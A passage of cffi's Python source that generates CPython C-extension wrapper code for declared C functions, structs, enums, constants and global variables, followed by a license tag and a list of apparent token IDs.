# pointers, and store them as attributes on the 'library' object.
class FFILibrary(object):
_cffi_python_module = module
_cffi_ffi = self.ffi
_cffi_dir = []
def __dir__(self):
return FFILibrary._cffi_dir + list(self.__dict__)
library = FFILibrary()
if module._cffi_setup(lst, ffiplatform.VerificationError, library):
import warnings
warnings.warn("reimporting %r might overwrite older definitions"
% (self.verifier.get_module_name()))
#
# finally, call the loaded_cpy_xxx() functions. This will perform
# the final adjustments, like copying the Python->C wrapper
# functions from the module to the 'library' object, and setting
# up the FFILibrary class with properties for the global C variables.
self._load(module, 'loaded', library=library)
module._cffi_original_ffi = self.ffi
module._cffi_types_of_builtin_funcs = self._types_of_builtin_functions
return library
def _get_declarations(self):
return sorted(self.ffi._parser._declarations.items())
def _generate(self, step_name):
for name, tp in self._get_declarations():
kind, realname = name.split(' ', 1)
try:
method = getattr(self, '_generate_cpy_%s_%s' % (kind,
step_name))
except AttributeError:
raise ffiplatform.VerificationError(
"not implemented in verify(): %r" % name)
try:
method(tp, realname)
except Exception as e:
model.attach_exception_info(e, name)
raise
def _load(self, module, step_name, **kwds):
for name, tp in self._get_declarations():
kind, realname = name.split(' ', 1)
method = getattr(self, '_%s_cpy_%s' % (step_name, kind))
try:
method(tp, realname, module, **kwds)
except Exception as e:
model.attach_exception_info(e, name)
raise
def _generate_nothing(self, tp, name):
pass
def _loaded_noop(self, tp, name, module, **kwds):
pass
# ----------
def _convert_funcarg_to_c(self, tp, fromvar, tovar, errcode):
extraarg = ''
if isinstance(tp, model.PrimitiveType):
if tp.is_integer_type() and tp.name != '_Bool':
converter = '_cffi_to_c_int'
extraarg = ', %s' % tp.name
else:
converter = '(%s)_cffi_to_c_%s' % (tp.get_c_name(''),
tp.name.replace(' ', '_'))
errvalue = '-1'
#
elif isinstance(tp, model.PointerType):
self._convert_funcarg_to_c_ptr_or_array(tp, fromvar,
tovar, errcode)
return
#
elif isinstance(tp, (model.StructOrUnion, model.EnumType)):
# a struct (not a struct pointer) as a function argument
self._prnt(' if (_cffi_to_c((char *)&%s, _cffi_type(%d), %s) < 0)'
% (tovar, self._gettypenum(tp), fromvar))
self._prnt(' %s;' % errcode)
return
#
elif isinstance(tp, model.FunctionPtrType):
converter = '(%s)_cffi_to_c_pointer' % tp.get_c_name('')
extraarg = ', _cffi_type(%d)' % self._gettypenum(tp)
errvalue = 'NULL'
#
else:
raise NotImplementedError(tp)
#
self._prnt(' %s = %s(%s%s);' % (tovar, converter, fromvar, extraarg))
self._prnt(' if (%s == (%s)%s && PyErr_Occurred())' % (
tovar, tp.get_c_name(''), errvalue))
self._prnt(' %s;' % errcode)
def _extra_local_variables(self, tp, localvars):
if isinstance(tp, model.PointerType):
localvars.add('Py_ssize_t datasize')
def _convert_funcarg_to_c_ptr_or_array(self, tp, fromvar, tovar, errcode):
self._prnt(' datasize = _cffi_prepare_pointer_call_argument(')
self._prnt(' _cffi_type(%d), %s, (char **)&%s);' % (
self._gettypenum(tp), fromvar, tovar))
self._prnt(' if (datasize != 0) {')
self._prnt(' if (datasize < 0)')
self._prnt(' %s;' % errcode)
self._prnt(' %s = alloca((size_t)datasize);' % (tovar,))
self._prnt(' memset((void *)%s, 0, (size_t)datasize);' % (tovar,))
self._prnt(' if (_cffi_convert_array_from_object('
'(char *)%s, _cffi_type(%d), %s) < 0)' % (
tovar, self._gettypenum(tp), fromvar))
self._prnt(' %s;' % errcode)
self._prnt(' }')
def _convert_expr_from_c(self, tp, var, context):
if isinstance(tp, model.PrimitiveType):
if tp.is_integer_type():
return '_cffi_from_c_int(%s, %s)' % (var, tp.name)
elif tp.name != 'long double':
return '_cffi_from_c_%s(%s)' % (tp.name.replace(' ', '_'), var)
else:
return '_cffi_from_c_deref((char *)&%s, _cffi_type(%d))' % (
var, self._gettypenum(tp))
elif isinstance(tp, (model.PointerType, model.FunctionPtrType)):
return '_cffi_from_c_pointer((char *)%s, _cffi_type(%d))' % (
var, self._gettypenum(tp))
elif isinstance(tp, model.ArrayType):
return '_cffi_from_c_pointer((char *)%s, _cffi_type(%d))' % (
var, self._gettypenum(model.PointerType(tp.item)))
elif isinstance(tp, model.StructType):
if tp.fldnames is None:
raise TypeError("'%s' is used as %s, but is opaque" % (
tp._get_c_name(), context))
return '_cffi_from_c_struct((char *)&%s, _cffi_type(%d))' % (
var, self._gettypenum(tp))
elif isinstance(tp, model.EnumType):
return '_cffi_from_c_deref((char *)&%s, _cffi_type(%d))' % (
var, self._gettypenum(tp))
else:
raise NotImplementedError(tp)
# ----------
# typedefs: generates no code so far
_generate_cpy_typedef_collecttype = _generate_nothing
_generate_cpy_typedef_decl = _generate_nothing
_generate_cpy_typedef_method = _generate_nothing
_loading_cpy_typedef = _loaded_noop
_loaded_cpy_typedef = _loaded_noop
# ----------
# function declarations
def _generate_cpy_function_collecttype(self, tp, name):
assert isinstance(tp, model.FunctionPtrType)
if tp.ellipsis:
self._do_collect_type(tp)
else:
# don't call _do_collect_type(tp) in this common case,
# otherwise test_autofilled_struct_as_argument fails
for type in tp.args:
self._do_collect_type(type)
self._do_collect_type(tp.result)
def _generate_cpy_function_decl(self, tp, name):
assert isinstance(tp, model.FunctionPtrType)
if tp.ellipsis:
# cannot support vararg functions better than this: check for its
# exact type (including the fixed arguments), and build it as a
# constant function pointer (no CPython wrapper)
self._generate_cpy_const(False, name, tp)
return
prnt = self._prnt
numargs = len(tp.args)
if numargs == 0:
argname = 'noarg'
elif numargs == 1:
argname = 'arg0'
else:
argname = 'args'
prnt('static PyObject *')
prnt('_cffi_f_%s(PyObject *self, PyObject *%s)' % (name, argname))
prnt('{')
#
context = 'argument of %s' % name
for i, type in enumerate(tp.args):
prnt(' %s;' % type.get_c_name(' x%d' % i, context))
#
localvars = set()
for type in tp.args:
self._extra_local_variables(type, localvars)
for decl in localvars:
prnt(' %s;' % (decl,))
#
if not isinstance(tp.result, model.VoidType):
result_code = 'result = '
context = 'result of %s' % name
prnt(' %s;' % tp.result.get_c_name(' result', context))
else:
result_code = ''
#
if len(tp.args) > 1:
rng = range(len(tp.args))
for i in rng:
prnt(' PyObject *arg%d;' % i)
prnt()
prnt(' if (!PyArg_ParseTuple(args, "%s:%s", %s))' % (
'O' * numargs, name, ', '.join(['&arg%d' % i for i in rng])))
prnt(' return NULL;')
prnt()
#
for i, type in enumerate(tp.args):
self._convert_funcarg_to_c(type, 'arg%d' % i, 'x%d' % i,
'return NULL')
prnt()
#
prnt(' Py_BEGIN_ALLOW_THREADS')
prnt(' _cffi_restore_errno();')
prnt(' { %s%s(%s); }' % (
result_code, name,
', '.join(['x%d' % i for i in range(len(tp.args))])))
prnt(' _cffi_save_errno();')
prnt(' Py_END_ALLOW_THREADS')
prnt()
#
prnt(' (void)self; /* unused */')
if numargs == 0:
prnt(' (void)noarg; /* unused */')
if result_code:
prnt(' return %s;' %
self._convert_expr_from_c(tp.result, 'result', 'result type'))
else:
prnt(' Py_INCREF(Py_None);')
prnt(' return Py_None;')
prnt('}')
prnt()
def _generate_cpy_function_method(self, tp, name):
if tp.ellipsis:
return
numargs = len(tp.args)
if numargs == 0:
meth = 'METH_NOARGS'
elif numargs == 1:
meth = 'METH_O'
else:
meth = 'METH_VARARGS'
self._prnt(' {"%s", _cffi_f_%s, %s, NULL},' % (name, name, meth))
_loading_cpy_function = _loaded_noop
def _loaded_cpy_function(self, tp, name, module, library):
if tp.ellipsis:
return
func = getattr(module, name)
setattr(library, name, func)
self._types_of_builtin_functions[func] = tp
# ----------
# named structs
_generate_cpy_struct_collecttype = _generate_nothing
def _generate_cpy_struct_decl(self, tp, name):
assert name == tp.name
self._generate_struct_or_union_decl(tp, 'struct', name)
def _generate_cpy_struct_method(self, tp, name):
self._generate_struct_or_union_method(tp, 'struct', name)
def _loading_cpy_struct(self, tp, name, module):
self._loading_struct_or_union(tp, 'struct', name, module)
def _loaded_cpy_struct(self, tp, name, module, **kwds):
self._loaded_struct_or_union(tp)
_generate_cpy_union_collecttype = _generate_nothing
def _generate_cpy_union_decl(self, tp, name):
assert name == tp.name
self._generate_struct_or_union_decl(tp, 'union', name)
def _generate_cpy_union_method(self, tp, name):
self._generate_struct_or_union_method(tp, 'union', name)
def _loading_cpy_union(self, tp, name, module):
self._loading_struct_or_union(tp, 'union', name, module)
def _loaded_cpy_union(self, tp, name, module, **kwds):
self._loaded_struct_or_union(tp)
def _generate_struct_or_union_decl(self, tp, prefix, name):
if tp.fldnames is None:
return # nothing to do with opaque structs
checkfuncname = '_cffi_check_%s_%s' % (prefix, name)
layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name)
cname = ('%s %s' % (prefix, name)).strip()
#
prnt = self._prnt
prnt('static void %s(%s *p)' % (checkfuncname, cname))
prnt('{')
prnt(' /* only to generate compile-time warnings or errors */')
prnt(' (void)p;')
for fname, ftype, fbitsize in tp.enumfields():
if (isinstance(ftype, model.PrimitiveType)
and ftype.is_integer_type()) or fbitsize >= 0:
# accept all integers, but complain on float or double
prnt(' (void)((p->%s) << 1);' % fname)
else:
# only accept exactly the type declared.
try:
prnt(' { %s = &p->%s; (void)tmp; }' % (
ftype.get_c_name('*tmp', 'field %r'%fname), fname))
except ffiplatform.VerificationError as e:
prnt(' /* %s */' % str(e)) # cannot verify it, ignore
prnt('}')
prnt('static PyObject *')
prnt('%s(PyObject *self, PyObject *noarg)' % (layoutfuncname,))
prnt('{')
prnt(' struct _cffi_aligncheck { char x; %s y; };' % cname)
prnt(' static Py_ssize_t nums[] = {')
prnt(' sizeof(%s),' % cname)
prnt(' offsetof(struct _cffi_aligncheck, y),')
for fname, ftype, fbitsize in tp.enumfields():
if fbitsize >= 0:
continue # xxx ignore fbitsize for now
prnt(' offsetof(%s, %s),' % (cname, fname))
if isinstance(ftype, model.ArrayType) and ftype.length is None:
prnt(' 0, /* %s */' % ftype._get_c_name())
else:
prnt(' sizeof(((%s *)0)->%s),' % (cname, fname))
prnt(' -1')
prnt(' };')
prnt(' (void)self; /* unused */')
prnt(' (void)noarg; /* unused */')
prnt(' return _cffi_get_struct_layout(nums);')
prnt(' /* the next line is not executed, but compiled */')
prnt(' %s(0);' % (checkfuncname,))
prnt('}')
prnt()
def _generate_struct_or_union_method(self, tp, prefix, name):
if tp.fldnames is None:
return # nothing to do with opaque structs
layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name)
self._prnt(' {"%s", %s, METH_NOARGS, NULL},' % (layoutfuncname,
layoutfuncname))
def _loading_struct_or_union(self, tp, prefix, name, module):
if tp.fldnames is None:
return # nothing to do with opaque structs
layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name)
#
function = getattr(module, layoutfuncname)
layout = function()
if isinstance(tp, model.StructOrUnion) and tp.partial:
# use the function()'s sizes and offsets to guide the
# layout of the struct
totalsize = layout[0]
totalalignment = layout[1]
fieldofs = layout[2::2]
fieldsize = layout[3::2]
tp.force_flatten()
assert len(fieldofs) == len(fieldsize) == len(tp.fldnames)
tp.fixedlayout = fieldofs, fieldsize, totalsize, totalalignment
else:
cname = ('%s %s' % (prefix, name)).strip()
self._struct_pending_verification[tp] = layout, cname
def _loaded_struct_or_union(self, tp):
if tp.fldnames is None:
return # nothing to do with opaque structs
self.ffi._get_cached_btype(tp) # force 'fixedlayout' to be considered
if tp in self._struct_pending_verification:
# check that the layout sizes and offsets match the real ones
def check(realvalue, expectedvalue, msg):
if realvalue != expectedvalue:
raise ffiplatform.VerificationError(
"%s (we have %d, but C compiler says %d)"
% (msg, expectedvalue, realvalue))
ffi = self.ffi
BStruct = ffi._get_cached_btype(tp)
layout, cname = self._struct_pending_verification.pop(tp)
check(layout[0], ffi.sizeof(BStruct), "wrong total size")
check(layout[1], ffi.alignof(BStruct), "wrong total alignment")
i = 2
for fname, ftype, fbitsize in tp.enumfields():
if fbitsize >= 0:
continue # xxx ignore fbitsize for now
check(layout[i], ffi.offsetof(BStruct, fname),
"wrong offset for field %r" % (fname,))
if layout[i+1] != 0:
BField = ffi._get_cached_btype(ftype)
check(layout[i+1], ffi.sizeof(BField),
"wrong size for field %r" % (fname,))
i += 2
assert i == len(layout)
# ----------
# 'anonymous' declarations. These are produced for anonymous structs
# or unions; the 'name' is obtained by a typedef.
_generate_cpy_anonymous_collecttype = _generate_nothing
def _generate_cpy_anonymous_decl(self, tp, name):
if isinstance(tp, model.EnumType):
self._generate_cpy_enum_decl(tp, name, '')
else:
self._generate_struct_or_union_decl(tp, '', name)
def _generate_cpy_anonymous_method(self, tp, name):
if not isinstance(tp, model.EnumType):
self._generate_struct_or_union_method(tp, '', name)
def _loading_cpy_anonymous(self, tp, name, module):
if isinstance(tp, model.EnumType):
self._loading_cpy_enum(tp, name, module)
else:
self._loading_struct_or_union(tp, '', name, module)
def _loaded_cpy_anonymous(self, tp, name, module, **kwds):
if isinstance(tp, model.EnumType):
self._loaded_cpy_enum(tp, name, module, **kwds)
else:
self._loaded_struct_or_union(tp)
# ----------
# constants, likely declared with '#define'
def _generate_cpy_const(self, is_int, name, tp=None, category='const',
vartp=None, delayed=True, size_too=False,
check_value=None):
prnt = self._prnt
funcname = '_cffi_%s_%s' % (category, name)
prnt('static int %s(PyObject *lib)' % funcname)
prnt('{')
prnt(' PyObject *o;')
prnt(' int res;')
if not is_int:
prnt(' %s;' % (vartp or tp).get_c_name(' i', name))
else:
assert category == 'const'
#
if check_value is not None:
self._check_int_constant_value(name, check_value)
#
if not is_int:
if category == 'var':
realexpr = '&' + name
else:
realexpr = name
prnt(' i = (%s);' % (realexpr,))
prnt(' o = %s;' % (self._convert_expr_from_c(tp, 'i',
'variable type'),))
assert delayed
else:
prnt(' o = _cffi_from_c_int_const(%s);' % name)
prnt(' if (o == NULL)')
prnt(' return -1;')
if size_too:
prnt(' {')
prnt(' PyObject *o1 = o;')
prnt(' o = Py_BuildValue("On", o1, (Py_ssize_t)sizeof(%s));'
% (name,))
prnt(' Py_DECREF(o1);')
prnt(' if (o == NULL)')
prnt(' return -1;')
prnt(' }')
prnt(' res = PyObject_SetAttrString(lib, "%s", o);' % name)
prnt(' Py_DECREF(o);')
prnt(' if (res < 0)')
prnt(' return -1;')
prnt(' return %s;' % self._chained_list_constants[delayed])
self._chained_list_constants[delayed] = funcname + '(lib)'
prnt('}')
prnt()
def _generate_cpy_constant_collecttype(self, tp, name):
is_int = isinstance(tp, model.PrimitiveType) and tp.is_integer_type()
if not is_int:
self._do_collect_type(tp)
def _generate_cpy_constant_decl(self, tp, name):
is_int = isinstance(tp, model.PrimitiveType) and tp.is_integer_type()
self._generate_cpy_const(is_int, name, tp)
_generate_cpy_constant_method = _generate_nothing
_loading_cpy_constant = _loaded_noop
_loaded_cpy_constant = _loaded_noop
# ----------
# enums
def _check_int_constant_value(self, name, value, err_prefix=''):
prnt = self._prnt
if value <= 0:
prnt(' if ((%s) > 0 || (long)(%s) != %dL) {' % (
name, name, value))
else:
prnt(' if ((%s) <= 0 || (unsigned long)(%s) != %dUL) {' % (
name, name, value))
prnt(' char buf[64];')
prnt(' if ((%s) <= 0)' % name)
prnt(' snprintf(buf, 63, "%%ld", (long)(%s));' % name)
prnt(' else')
prnt(' snprintf(buf, 63, "%%lu", (unsigned long)(%s));' %
name)
prnt(' PyErr_Format(_cffi_VerificationError,')
prnt(' "%s%s has the real value %s, not %s",')
prnt(' "%s", "%s", buf, "%d");' % (
err_prefix, name, value))
prnt(' return -1;')
prnt(' }')
def _enum_funcname(self, prefix, name):
# "$enum_$1" => "___D_enum____D_1"
name = name.replace('$', '___D_')
return '_cffi_e_%s_%s' % (prefix, name)
def _generate_cpy_enum_decl(self, tp, name, prefix='enum'):
if tp.partial:
for enumerator in tp.enumerators:
self._generate_cpy_const(True, enumerator, delayed=False)
return
#
funcname = self._enum_funcname(prefix, name)
prnt = self._prnt
prnt('static int %s(PyObject *lib)' % funcname)
prnt('{')
for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues):
self._check_int_constant_value(enumerator, enumvalue,
"enum %s: " % name)
prnt(' return %s;' % self._chained_list_constants[True])
self._chained_list_constants[True] = funcname + '(lib)'
prnt('}')
prnt()
_generate_cpy_enum_collecttype = _generate_nothing
_generate_cpy_enum_method = _generate_nothing
def _loading_cpy_enum(self, tp, name, module):
if tp.partial:
enumvalues = [getattr(module, enumerator)
for enumerator in tp.enumerators]
tp.enumvalues = tuple(enumvalues)
tp.partial_resolved = True
def _loaded_cpy_enum(self, tp, name, module, library):
for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues):
setattr(library, enumerator, enumvalue)
# ----------
# macros: for now only for integers
def _generate_cpy_macro_decl(self, tp, name):
if tp == '...':
check_value = None
else:
check_value = tp # an integer
self._generate_cpy_const(True, name, check_value=check_value)
_generate_cpy_macro_collecttype = _generate_nothing
_generate_cpy_macro_method = _generate_nothing
_loading_cpy_macro = _loaded_noop
_loaded_cpy_macro = _loaded_noop
# ----------
# global variables
def _generate_cpy_variable_collecttype(self, tp, name):
if isinstance(tp, model.ArrayType):
tp_ptr = model.PointerType(tp.item)
else:
tp_ptr = model.PointerType(tp)
self._do_collect_type(tp_ptr)
def _generate_cpy_variable_decl(self, tp, name):
if isinstance(tp, model.ArrayType):
tp_ptr = model.PointerType(tp.item)
self._generate_cpy_const(False, name, tp, vartp=tp_ptr,
size_too = (tp.length == '...'))
else:
tp_ptr = model.PointerType(tp)
self._generate_cpy_const(False, name, tp_ptr, category='var')
_generate_cpy_variable_method = _generate_nothing
_loading_cpy_variable = _loaded_noop
def _loaded_cpy_variable(self, tp, name, module, library):
value = getattr(library, name)
if isinstance(tp, model.ArrayType): # int a[5] is "constant" in the
# sense that "a=..." is forbidden
if tp.length == '...':
assert isinstance(value, tuple)
(value, size) = value
BItemType = self.ffi._get_cached_btype(tp.item)
length, rest = divmod(size, self.ffi.sizeof(BItemType))
if rest != 0:
raise ffiplatform.VerificationError(
"bad size: %r does not seem to be an array of %s" %
(name, tp.item))
tp = tp.resolve_length(length)
# 'value' is a <cdata 'type *'> which we have to replace with
# a <cdata 'type[N]'> if the N is actually known
if tp.length is not None:
BArray = self.ffi._get_cached_btype(tp)
value = self.ffi.cast(BArray, value)
setattr(library, name, value)
return
# remove ptr=<cdata 'int *'> from the library instance, and replace
# it by a property on the class, which reads/writes into ptr[0].
ptr = value
delattr(library, name)
def getter(library):
return ptr[0]
def setter(library, value):
ptr[0] = value
setattr(type(library), name, property(getter, setter))
type(library)._cffi_dir.append(name)
# ----------
def _generate_setup_custom(self):
prnt = self._prnt
prnt('static int _cffi_setup_custom(PyObject *lib)')
prnt('{')
prnt(' return %s;' % self._chained_list_constants[True])
prnt('}')
cffimod_header = r'''
#include <Python.h>
#include <stddef.h>
/* this block of #ifs should be kept exactly identical between
c/_cffi_backend.c, cffi/vengine_cpy.py, cffi/vengine_gen.py */
#if defined(_MSC_VER)
# include <malloc.h> /* for alloca() */
# if _MSC_VER < 1600 /* MSVC < 2010 */
typedef __int8 int8_t;
typedef __int16 int16_t;
typedef __int32 int32_t;
typedef __int64 int64_t;
typedef unsigned __int8 uint8_t;
typedef unsigned __int16 uint16_t;
typedef unsigned __int32 uint32_t;
typedef unsigned __int64 uint64_t;
typedef __int8 int_least8_t;
typedef __int16 int_least16_t;
typedef __int32 int_least32_t;
typedef __int64 int_least64_t;
typedef unsigned __int8 uint_least8_t;
typedef unsigned __int16 uint_least16_t;
typedef unsigned __int32 uint_least32_t;
typedef unsigned __int64 uint_least64_t;
typedef __int8 int_fast8_t;
typedef __int16 int_fast16_t;
typedef __int32 int_fast32_t;
typedef __int64 int_fast64_t;
typedef unsigned __int8 uint_fast8_t;
typedef unsigned __int16 uint_fast16_t;
typedef unsigned __int32 uint_fast32_t;
typedef unsigned __int64 uint_fast64_t;
typedef __int64 intmax_t;
typedef unsigned __int64 uintmax_t;
# else
# include <stdint.h>
# endif
# if _MSC_VER < 1800 /* MSVC < 2013 */
typedef unsigned char _Bool;
# endif
#else
# include <stdint.h>
# if (defined (__SVR4) && defined (__sun)) || defined(_AIX)
# include <alloca.h>
# endif
#endif
#if PY_MAJOR_VERSION < 3
# undef PyCapsule_CheckExact
# undef PyCapsule_GetPointer
# define PyCapsule_CheckExact(capsule) (PyCObject_Check(capsule))
# define PyCapsule_GetPointer(capsule, name) \
(PyCObject_AsVoidPtr(capsule))
#endif
#if PY_MAJOR_VERSION >= 3
# define PyInt_FromLong PyLong_FromLong
#endif
#define _cffi_from_c_double PyFloat_FromDouble
#define _cffi_from_c_float PyFloat_FromDouble
#define _cffi_from_c_long PyInt_FromLong
#define _cffi_from_c_ulong PyLong_FromUnsignedLong
#define _cffi_from_c_longlong PyLong_FromLongLong
#define _cffi_from_c_ulonglong PyLong_FromUnsignedLongLong
#define _cffi_to_c_double PyFloat_AsDouble
#define _cffi_to_c_float PyFloat_AsDouble
#define _cffi_from_c_int_const(x) \
(((x) > 0) ? \
((unsigned long long)(x) <= (unsigned long long)LONG_MAX) ? \
PyInt_FromLong((long)(x)) : \
PyLong_FromUnsignedLongLong((unsigned long long)(x)) : \
((long long)(x) >= (long long)LONG_MIN) ? \
PyInt_FromLong((long)(x)) : \
PyLong_FromLongLong((long long)(x)))
#define _cffi_from_c_int(x, type) \
(((type)-1) > 0 ? /* unsigned */ \
(sizeof(type) < sizeof(long) ? \
PyInt_FromLong((long)x) : \
sizeof(type) == sizeof(long) ? \
PyLong_FromUnsignedLong((unsigned long)x) : \
PyLong_FromUnsignedLongLong((unsigned long long)x)) : \
(sizeof(type) <= sizeof(long) ? \
PyInt_FromLong((long)x) : \
PyLong_FromLongLong((long long)x)))
#define _cffi_to_c_int(o, type) \
((type)( \
sizeof(type) == 1 ? (((type)-1) > 0 ? (type)_cffi_to_c_u8(o) \
: (type)_cffi_to_c_i8(o)) : \
sizeof(type) == 2 ? (((type)-1) > 0 ? (type)_cffi_to_c_u16(o) \
: (type)_cffi_to_c_i16(o)) : \
sizeof(type) == 4 ? (((type)-1) > 0 ? (type)_cffi_to_c_u32(o) \
: (type)_cffi_to_c_i32(o)) : \
sizeof(type) == 8 ? (((type)-1) > 0 ? (type)_cffi_to_c_u64(o) \
: (type)_cffi_to_c_i64(o)) : \
(Py_FatalError("unsupported size for type " #type), (type)0)))
#define _cffi_to_c_i8 \
((int(*)(PyObject *))_cffi_exports[1])
#define _cffi_to_c_u8 \
((int(*)(PyObject *))_cffi_exports[2])
#define _cffi_to_c_i16 \
((int(*)(PyObject *))_cffi_exports[3])
#define _cffi_to_c_u16 \
((int(*)(PyObject *))_cffi_exports[4])
#define _cffi_to_c_i32 \
((int(*)(PyObject *))_cffi_exports[5])
#define _cffi_to_c_u32 \
((unsigned int(*)(PyObject *))_cffi_exports[6])
#define _cffi_to_c_i64 \
((long long(*)(PyObject *))_cffi_exports[7])
#define _cffi_to_c_u64 \
((unsigned long long(*)(PyObject *))_cffi_exports[8])
#define _cffi_to_c_char \
((int(*)(PyObject *))_cffi_exports[9])
#define _cffi_from_c_pointer \
((PyObject *(*)(char *, CTypeDescrObject *))_cffi_exports[10])
#define _cffi_to_c_pointer \
((char *(*)(PyObject *, CTypeDescrObject *))_cffi_exports[11])
#define _cffi_get_struct_layout \
((PyObject *(*)(Py_ssize_t[]))_cffi_exports[12])
#define _cffi_restore_errno \
((void(*)(void))_cffi_exports[13])
#define _cffi_save_errno \
((void(*)(void))_cffi_exports[14])
#define _cffi_from_c_char \
((PyObject *(*)(char))_cffi_exports[15])
#define _cffi_from_c_deref \
((PyObject *(*)(char *, CTypeDescrObject *))_cffi_exports[16])
#define _cffi_to_c \
((int(*)(char *, CTypeDescrObject *, PyObject *))_cffi_exports[17])
#define _cffi_from_c_struct \
((PyObject *(*)(char *, CTypeDescrObject *))_cffi_exports[18])
#define _cffi_to_c_wchar_t \
((wchar_t(*)(PyObject *))_cffi_exports[19])
#define _cffi_from_c_wchar_t \
((PyObject *(*)(wchar_t))_cffi_exports[20])
#define _cffi_to_c_long_double \
((long double(*)(PyObject *))_cffi_exports[21])
#define _cffi_to_c__Bool \
((_Bool(*)(PyObject *))_cffi_exports[22])
#define _cffi_prepare_pointer_call_argument \
((Py_ssize_t(*)(CTypeDescrObject *, PyObject *, char **))_cffi_exports[23])
#define _cffi_convert_array_from_object \
((int(*)(char *, CTypeDescrObject *, PyObject *))_cffi_exports[24])
#define _CFFI_NUM_EXPORTS 25
typedef struct _ctypedescr CTypeDescrObject;
static void *_cffi_exports[_CFFI_NUM_EXPORTS];
static PyObject *_cffi_types, *_cffi_VerificationError;
static int _cffi_setup_custom(PyObject *lib); /* forward */
static PyObject *_cffi_setup(PyObject *self, PyObject *args)
{
PyObject *library;
int was_alive = (_cffi_types != NULL);
(void)self; /* unused */
if (!PyArg_ParseTuple(args, "OOO", &_cffi_types, &_cffi_VerificationError,
&library))
return NULL;
Py_INCREF(_cffi_types);
Py_INCREF(_cffi_VerificationError);
if (_cffi_setup_custom(library) < 0)
return NULL;
return PyBool_FromLong(was_alive);
}
static int _cffi_init(void)
{
PyObject *module, *c_api_object = NULL;
module = PyImport_ImportModule("_cffi_backend");
if (module == NULL)
goto failure;
c_api_object = PyObject_GetAttrString(module, "_C_API");
if (c_api_object == NULL)
goto failure;
if (!PyCapsule_CheckExact(c_api_object)) {
PyErr_SetNone(PyExc_ImportError);
goto failure;
}
memcpy(_cffi_exports, PyCapsule_GetPointer(c_api_object, "cffi"),
_CFFI_NUM_EXPORTS * sizeof(void *));
Py_DECREF(module);
Py_DECREF(c_api_object);
return 0;
failure:
Py_XDECREF(module);
Py_XDECREF(c_api_object);
return -1;
}
#define _cffi_type(num) ((CTypeDescrObject *)PyList_GET_ITEM(_cffi_types, num))
/**********/
'''
|
gpl-2.0
|
[
646,
984,
12,
1742,
199,
504,
1275,
492,
1402,
12,
30865,
3246,
421,
199,
533,
24955,
4718,
8524,
8,
785,
304,
272,
485,
533,
63,
498,
275,
283,
88,
7,
272,
485,
2268,
63,
1548,
63,
578,
275,
715,
339,
347,
636,
826,
721,
277,
12,
25581,
304,
267,
291,
14,
21227,
275,
25581,
267,
291,
14,
11286,
275,
25581,
14,
11286,
267,
291,
423,
1820,
63,
6455,
63,
16257,
275,
1052,
267,
291,
423,
1313,
63,
1618,
63,
5351,
63,
5777,
275,
1052,
339,
347,
3371,
63,
3435,
63,
10340,
8,
277,
12,
16286,
304,
267,
986,
339,
347,
2342,
63,
578,
8,
277,
12,
859,
63,
354,
12,
931,
12,
880,
63,
16097,
304,
267,
862,
26,
288,
289,
12,
1788,
12,
16193,
275,
1742,
14,
1623,
63,
578,
8,
578,
63,
354,
12,
931,
9,
267,
871,
3545,
26,
288,
372,
488,
267,
340,
289,
365,
440,
488,
26,
288,
289,
14,
1600,
342,
267,
327,
3390,
626,
2410,
282,
9116,
12096,
12,
2337,
787,
3865,
1275,
647,
267,
327,
436,
1275,
1152,
1584,
543,
314,
2011,
9593,
14,
221,
710,
1233,
2348,
25749,
641,
267,
327,
1742,
14,
1623,
63,
578,
342,
4355,
1958,
314,
1275,
1152,
315,
7464,
14,
267,
340,
16193,
59,
16,
61,
440,
315,
880,
63,
16097,
26,
288,
372,
488,
267,
372,
1788,
339,
347,
8775,
63,
1313,
8,
277,
304,
267,
291,
423,
1313,
807,
275,
1052,
267,
291,
423,
4208,
480,
7112,
466,
531,
339,
347,
485,
2700,
343,
8,
277,
12,
4052,
9280,
267,
291,
423,
70,
14,
952,
8,
10058,
435,
1557,
78,
358,
339,
347,
485,
362,
369,
897,
453,
8,
277,
12,
730,
304,
267,
327,
282,
4067,
2348,
365,
282,
6519,
14,
221,
8749,
3622,
652,
1,
22901,
9,
267,
372,
291,
423,
1313,
807,
59,
466,
61,
339,
347,
485,
1117,
63,
7112,
63,
466,
8,
277,
12,
9253,
304,
267,
340,
3666,
1397,
1228,
8,
683,
12,
1402,
14,
22231,
804,
9,
1467,
503,
9253,
14,
354,
508,
283,
2809,
4270,
358,
355,
436,
9253,
440,
315,
291,
423,
1313,
807,
304,
288,
1967,
275,
822,
8,
277,
423,
1313,
807,
9,
288,
291,
423,
1313,
807,
59,
683,
61,
275,
1967,
339,
347,
2218,
63,
1365,
63,
475,
63,
70,
8,
277,
304,
267,
291,
14,
7112,
63,
1313,
342,
267,
327,
267,
327,
710,
892,
859,
911,
1172,
282,
485,
32407,
63,
2758,
342,
805,
626,
23192,
267,
327,
2251,
687,
314,
30865,
6701,
12,
436,
626,
4882,
2005,
3272,
1233,
315,
267,
327,
314,
859,
14,
221,
961,
3272,
1233,
365,
3715,
315,
9978,
12717,
267,
327,
3423,
12,
325,
14,
71,
14,
1373,
1126,
4413,
14,
221,
710,
3423,
787,
298,
4429,
379,
2,
267,
327,
701,
13401,
315,
282,
9483,
1240,
370,
1924,
1163,
14,
267,
327,
267,
327,
961,
365,
9848,
3715,
315,
2877,
6036,
379,
5548,
12,
10298,
641,
340,
781,
267,
327,
883,
886,
652,
737,
492,
13,
521,
503,
340,
781,
1471,
3618,
367,
485,
32407,
63,
2758,
342,
370,
267,
327,
5647,
2739,
543,
314,
665,
3667,
30,
2251,
14,
221,
961,
365,
4346,
2952,
781,
267,
327,
1929,
314,
1338,
402,
314,
4952,
5262,
315,
1865,
370,
1900,
314,
267,
327,
665,
3667,
283,
4869,
8423,
626,
781,
1443,
1172,
370,
986,
370,
485,
32407,
63,
2758,
1252,
267,
327,
267,
327,
710,
2569,
2877,
283,
4429,
379,
63,
513,
63,
5559,
7,
2974,
3509,
267,
327,
314,
4854,
402,
3520,
2877,
6036,
379,
5548,
12,
465,
282,
1059,
626,
10557,
314,
267,
327,
1240,
370,
886,
12,
340,
1263,
14,
267,
291,
423,
4429,
379,
63,
513,
63,
5559,
275,
788,
1332,
1647,
9,
773,
12,
16,
3196,
283,
1332,
1647,
9,
773,
12,
16,
9,
418,
